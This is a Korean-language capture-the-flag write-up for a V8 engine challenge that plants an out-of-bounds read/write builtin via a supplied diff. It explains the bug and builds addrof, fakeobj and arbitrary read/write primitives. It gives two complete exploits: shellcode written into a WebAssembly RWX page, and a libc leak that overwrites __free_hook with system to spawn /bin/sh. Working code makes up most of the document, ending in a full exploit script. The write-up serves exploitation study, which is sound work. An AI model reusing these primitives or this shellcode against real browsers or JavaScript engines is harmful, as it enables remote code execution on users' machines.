목차
- Build (Ubuntu 18.04)
- oob.diff
- 데이터가 저장되는 구조
- addrof
- fakeobj
- aar
- aaw
- 첫 번째 익스플로잇 방법
- 두 번째 익스플로잇 방법
- leak 과정
- 레퍼런스
Build (Ubuntu 18.04)
git clone <https://chromium.googlesource.com/chromium/tools/depot_tools.git>
export PATH=`pwd`/depot_tools:"$PATH"
fetch v8
cd v8
git checkout 6dc88c191f5ecc5389dc26efa3ca0907faef3598
gclient sync
git apply ../oob.diff
tools/dev/gm.py x64.release
oob.diff
diff --git a/src/bootstrapper.cc b/src/bootstrapper.cc
index b027d36..ef1002f 100644
--- a/src/bootstrapper.cc
+++ b/src/bootstrapper.cc
@@ -1668,6 +1668,8 @@ void Genesis::InitializeGlobal(Handle<JSGlobalObject> global_object,
Builtins::kArrayPrototypeCopyWithin, 2, false);
SimpleInstallFunction(isolate_, proto, "fill",
Builtins::kArrayPrototypeFill, 1, false);
+ SimpleInstallFunction(isolate_, proto, "oob",
+ Builtins::kArrayOob,2,false);
SimpleInstallFunction(isolate_, proto, "find",
Builtins::kArrayPrototypeFind, 1, false);
SimpleInstallFunction(isolate_, proto, "findIndex",
diff --git a/src/builtins/builtins-array.cc b/src/builtins/builtins-array.cc
index 8df340e..9b828ab 100644
--- a/src/builtins/builtins-array.cc
+++ b/src/builtins/builtins-array.cc
@@ -361,6 +361,27 @@ V8_WARN_UNUSED_RESULT Object GenericArrayPush(Isolate* isolate,
return *final_length;
}
} // namespace
+BUILTIN(ArrayOob){
+ uint32_t len = args.length();
+ if(len > 2) return ReadOnlyRoots(isolate).undefined_value();
+ Handle<JSReceiver> receiver;
+ ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
+ isolate, receiver, Object::ToObject(isolate, args.receiver()));
+ Handle<JSArray> array = Handle<JSArray>::cast(receiver);
+ FixedDoubleArray elements = FixedDoubleArray::cast(array->elements());
+ uint32_t length = static_cast<uint32_t>(array->length()->Number());
+ if(len == 1){
+ //read
+ return *(isolate->factory()->NewNumber(elements.get_scalar(length)));
+ }else{
+ //write
+ Handle<Object> value;
+ ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
+ isolate, value, Object::ToNumber(isolate, args.at<Object>(1)));
+ elements.set(length,value->Number());
+ return ReadOnlyRoots(isolate).undefined_value();
+ }
+}
BUILTIN(ArrayPush) {
HandleScope scope(isolate);
diff --git a/src/builtins/builtins-definitions.h b/src/builtins/builtins-definitions.h
index 0447230..f113a81 100644
--- a/src/builtins/builtins-definitions.h
+++ b/src/builtins/builtins-definitions.h
@@ -368,6 +368,7 @@ namespace internal {
TFJ(ArrayPrototypeFlat, SharedFunctionInfo::kDontAdaptArgumentsSentinel) \\
/* <https://tc39.github.io/proposal-flatMap/#sec-Array.prototype.flatMap> */ \\
TFJ(ArrayPrototypeFlatMap, SharedFunctionInfo::kDontAdaptArgumentsSentinel) \\
+ CPP(ArrayOob) \\
\\
/* ArrayBuffer */ \\
/* ES #sec-arraybuffer-constructor */ \\
diff --git a/src/compiler/typer.cc b/src/compiler/typer.cc
index ed1e4a5..c199e3a 100644
--- a/src/compiler/typer.cc
+++ b/src/compiler/typer.cc
@@ -1680,6 +1680,8 @@ Type Typer::Visitor::JSCallTyper(Type fun, Typer* t) {
return Type::Receiver();
case Builtins::kArrayUnshift:
return t->cache_->kPositiveSafeInteger;
+ case Builtins::kArrayOob:
+ return Type::Receiver();
// ArrayBuffer functions.
case Builtins::kArrayBufferIsView:
- 배열의 크기를 index로 사용해서 oob read, write가 발생한다. (index는 0부터 시작하니까)
- 인자가 없을 때 read 기능, 하나 있을 때 write 기능을 한다.
- 코드 상에선 인자가 한 개일 때 read 기능을 한다고 나와있는데 기본적으로 들어있는 인자가 있기 때문이다.
a = [1.1]
a.oob() // oob read
a.oob(0x1234) // oob write
데이터가 저장되는 구조
- a = [1.1, 1.2, 1.3, 1.4]
- gdb로 디버깅 해보면 +1 되어 있는 값들이 많은데 주소 값들은 +1이 되어 있기 때문에 1을 빼서 확인해야 한다.
- oob 함수를 이용하면 한 칸이 oob가 발생하는데 1.4 이후에 오는 값은 map이기 때문에 map을 읽거나 map을 수정할 수 있다.
addrof
var obj = {"A":1};
var obj_arr = [obj];
var float_arr = [1.1, 1.2, 1.3, 1.4];
var obj_arr_map = obj_arr.oob();
var float_arr_map = float_arr.oob();
function addrof(in_obj) {
obj_arr[0] = in_obj;
obj_arr.oob(float_arr_map);
let addr = obj_arr[0];
obj_arr.oob(obj_arr_map);
return ftoi(addr);
}
- 한마디로 표현하자면 내가 인자로 넣은 object array의 주소를 리턴해준다.
- 위 코드의 동작은 다음과 같다.
- object array의 map을 float array map으로 변경한다.
- array의 0번째 요소를 리턴한다.
- 예를 들어 A라는 object array 있을 때 addrof(A)를 하게 되면 원래라면 A의 주소를 참조해서 해당 값을 출력해야 하는데, Float로 변경했기 때문에 A object의 주소가 출력됨
a = [1.1]
b = [a]
console.log(b[0])
// 1.1 (a의 값)
console.log(addof(b))
// 11664137449329 (a의 주소)
fakeobj
var obj = {"A":1};
var obj_arr = [obj];
var float_arr = [1.1, 1.2, 1.3, 1.4];
var obj_arr_map = obj_arr.oob();
var float_arr_map = float_arr.oob();
function fakeobj(addr) {
float_arr[0] = itof(addr);
float_arr.oob(obj_arr_map);
let fake = float_arr[0];
float_arr.oob(float_arr_map);
return fake;
}
- 한마디로 표현하자면 fakeobj를 만들어서 리턴 해준다.
- 위 코드의 동작은 다음과 같다.
- float array map을 object array map으로 변경한다.
- 해당 float array를 리턴한다.
aar
var arb_rw_arr = [float_arr_map, 1.2, 1.3, 1.4];
console.log("[+] Controlled float array: 0x" + addrof(arb_rw_arr).toString(16));
function aar(addr) {
if (addr % 2n == 0)
addr += 1n;
let fake = fakeobj(addrof(arb_rw_arr) - 0x20n);
arb_rw_arr[2] = itof(BigInt(addr) - 0x10n);
return ftoi(fake[0]);
}
aar(addr); // address you want
동작 과정
- 4개의 요소를 가지는 배열을 만들고 첫 번째 요소에는 float_arr_map을 넣는다.
- aar 인자로 읽고 싶은 주소를 넘긴다.
- addrof(arb_rw_arr) - 0x20의 주소를 fake object로 만든다
- arb_rw_arr의 2번째 요소의 값을 addr - 0x10으로 설정한다.
- addr - 0x10을 한 값을 넣는 이유 elements가 가리키는 주소는 map이고 해당 주소에서 0x10을 더해야 값이 나오기 때문이다.
- 즉 addr - 0x10 + 0x10에 접근하게 되고 addr의 주소가 가진 값을 얻을 수 있다.
aaw
function aaw_init(addr, val) {
let fake = fakeobj(addrof(arb_rw_arr) - 0x20n);
arb_rw_arr[2] = itof(BigInt(addr) - 0x10n);
fake[0] = itof(BigInt(val));
}
var buf = new ArrayBuffer(0x100); // 값을 쓸 크기
var dataview = new DataView(buf);
aaw_init((addrof(buf))+0x20n, target_addr);
// dataview를 이용해서 target_addr 영역에 값 쓰기
- aaw_init 함수는 aar 함수의 구성과 큰 차이가 없다.
- ArrayBuffer로 생성한 buf의 주소로부터 0x20 위치에 target_addr 주소를 쓰게 되면 그 이후엔 dataview를 통해서 해당 영역에 접근할 수 있다.
첫 번째 익스플로잇 방법
- 첫 번째 방법은 wasm을 이용해 rwx를 만드는 방법이다.
- 구글에서도 인지하고 있는 취약점이기 때문에 언젠가 패치될 거 같다.
var wasm_code = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);
var wasm_mod = new WebAssembly.Module(wasm_code);
var wasm_instance = new WebAssembly.Instance(wasm_mod);
var f = wasm_instance.exports.main;
var wasm_i_addr = addrof(wasm_instance);
var rwx = aar((wasm_i_addr)+0x88n);
var shellcode = [0xbb48f631, 0x6e69622f, 0x68732f2f, 0x5f545356, 0x31583b6a, 0x050fd2];
var shellcode_buf = new ArrayBuffer(0x100);
var dataview = new DataView(shellcode_buf);
aaw_init(addrof(shellcode_buf)+0x20n, rwx);
for (var i=0; i<shellcode.length; i++) {
dataview.setUint32(4*i, shellcode[i], true);
}
f();
- rwx 공간을 만들고 해당 공간에 셸 코드를 삽입 후 실행해주는 코드다.
두 번째 익스플로잇 방법
- libc_leak을 해서 free_hook과 system 주소를 구해서 console.log(“/bin/sh”)로 셸을 따는 방법
heap_ptr = aar(addrof(arb_rw_arr)) - 0x2ec0n
heap = aar(heap_ptr)
libc_ptr = heap + 0xf8n
libc = aar(libc_ptr)
libc_base = libc - 0x3e82a0n
free_hook = libc_base + 0x3ed8e8n
system = libc_base + 0x4f4e0n
print("heap: " + hex(heap))
print("libc_ptr: " + hex(libc_ptr))
print("libc: " + hex(libc))
print("libc_base: " + hex(libc_base))
print("free_hook: " + hex(free_hook))
print("system: " + hex(system))
var buf = new ArrayBuffer(0x8)
var dv = new DataView(buf)
aaw_init(addrof(buf) + 0x20n, free_hook)
dv.setBigUint64(0, system, true)
console.log("/bin/sh");
leak 과정
- aar과 aaw를 할 때 사용했던 arb_rw_arr의 주소를 가져온다.
- 해당 주소가 매핑되는 시작 부분에 heap 주소가 있다. (다른 쓸만한 주소는 안보였음)
- 힙을 살펴보면 libc 주소가 있다.
- 근데 여기서 디버깅했을 때 보이는 힙의 값과 그냥 실행했을 때의 힙의 값의 위치가 미세한 차이가 있다.
- 그래서 적당히 아다리 맞춰서 릭을 해야 했다.
- libc_base를 구했으면 free_hook과 system을 구해주면 끝
- 릭이 끝나면 aaw를 이용해 free_hook을 system으로 덮고 console.log(“/bin/sh”)를 해주면 된다.
코드
var buf = new ArrayBuffer(8);
var f64_buf = new Float64Array(buf);
var u64_buf = new Uint32Array(buf);
function ftoi(val) {
f64_buf[0] = val;
return BigInt(u64_buf[0]) + (BigInt(u64_buf[1]) << 32n);
}
function itof(val) {
u64_buf[0] = Number(val & 0xffffffffn);
u64_buf[1] = Number(val >> 32n);
return f64_buf[0];
}
function hex(b) {
return ('0x' + b.toString(16));
}
var obj = {"A":1};
var obj_arr = [obj];
var float_arr = [1.1, 1.2, 1.3, 1.4];
var obj_arr_map = obj_arr.oob();
var float_arr_map = float_arr.oob();
function addrof(in_obj) {
obj_arr[0] = in_obj;
obj_arr.oob(float_arr_map);
let addr = obj_arr[0];
obj_arr.oob(obj_arr_map);
return ftoi(addr);
}
function fakeobj(addr) {
float_arr[0] = itof(addr);
float_arr.oob(obj_arr_map);
let fake = float_arr[0];
float_arr.oob(float_arr_map);
return fake;
}
var arb_rw_arr = [float_arr_map, 0, 1.3, 8]
function aar(addr) {
if (addr % 2n == 0)
addr += 1n;
let fake = fakeobj(addrof(arb_rw_arr) - 0x20n);
arb_rw_arr[2] = itof(BigInt(addr) - 0x10n);
return ftoi(fake[0]);
}
function aaw_init(addr, val) {
let fake = fakeobj(addrof(arb_rw_arr) - 0x20n);
arb_rw_arr[2] = itof(BigInt(addr) - 0x10n);
fake[0] = itof(BigInt(val));
}
/*
var wasm_code = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);
var wasm_mod = new WebAssembly.Module(wasm_code);
var wasm_instance = new WebAssembly.Instance(wasm_mod);
var f = wasm_instance.exports.main;
var wasm_i_addr = addrof(wasm_instance);
var rwx = aar((wasm_i_addr)+0x88n);
var shellcode = [0xbb48f631, 0x6e69622f, 0x68732f2f, 0x5f545356, 0x31583b6a, 0x050fd2];
var shellcode_buf = new ArrayBuffer(0x100);
var dataview = new DataView(shellcode_buf);
aaw_init(addrof(shellcode_buf)+0x20n, rwx);
for (var i=0; i<shellcode.length; i++) {
dataview.setUint32(4*i, shellcode[i], true);
}
f();
*/
heap_ptr = aar(addrof(arb_rw_arr)) - 0x2ec0n
heap = aar(heap_ptr)
libc_ptr = heap + 0xf8n
libc = aar(libc_ptr)
libc_base = libc - 0x3e82a0n
free_hook = libc_base + 0x3ed8e8n
system = libc_base + 0x4f4e0n
print("heap: " + hex(heap))
print("libc_ptr: " + hex(libc_ptr))
print("libc: " + hex(libc))
print("libc_base: " + hex(libc_base))
print("free_hook: " + hex(free_hook))
print("system: " + hex(system))
var buf = new ArrayBuffer(0x8)
var dv = new DataView(buf)
aaw_init(addrof(buf) + 0x20n, free_hook)
dv.setBigUint64(0, system, true)
console.log("/bin/sh");
레퍼런스
- https://faraz.faith/2019-12-13-starctf-oob-v8-indepth/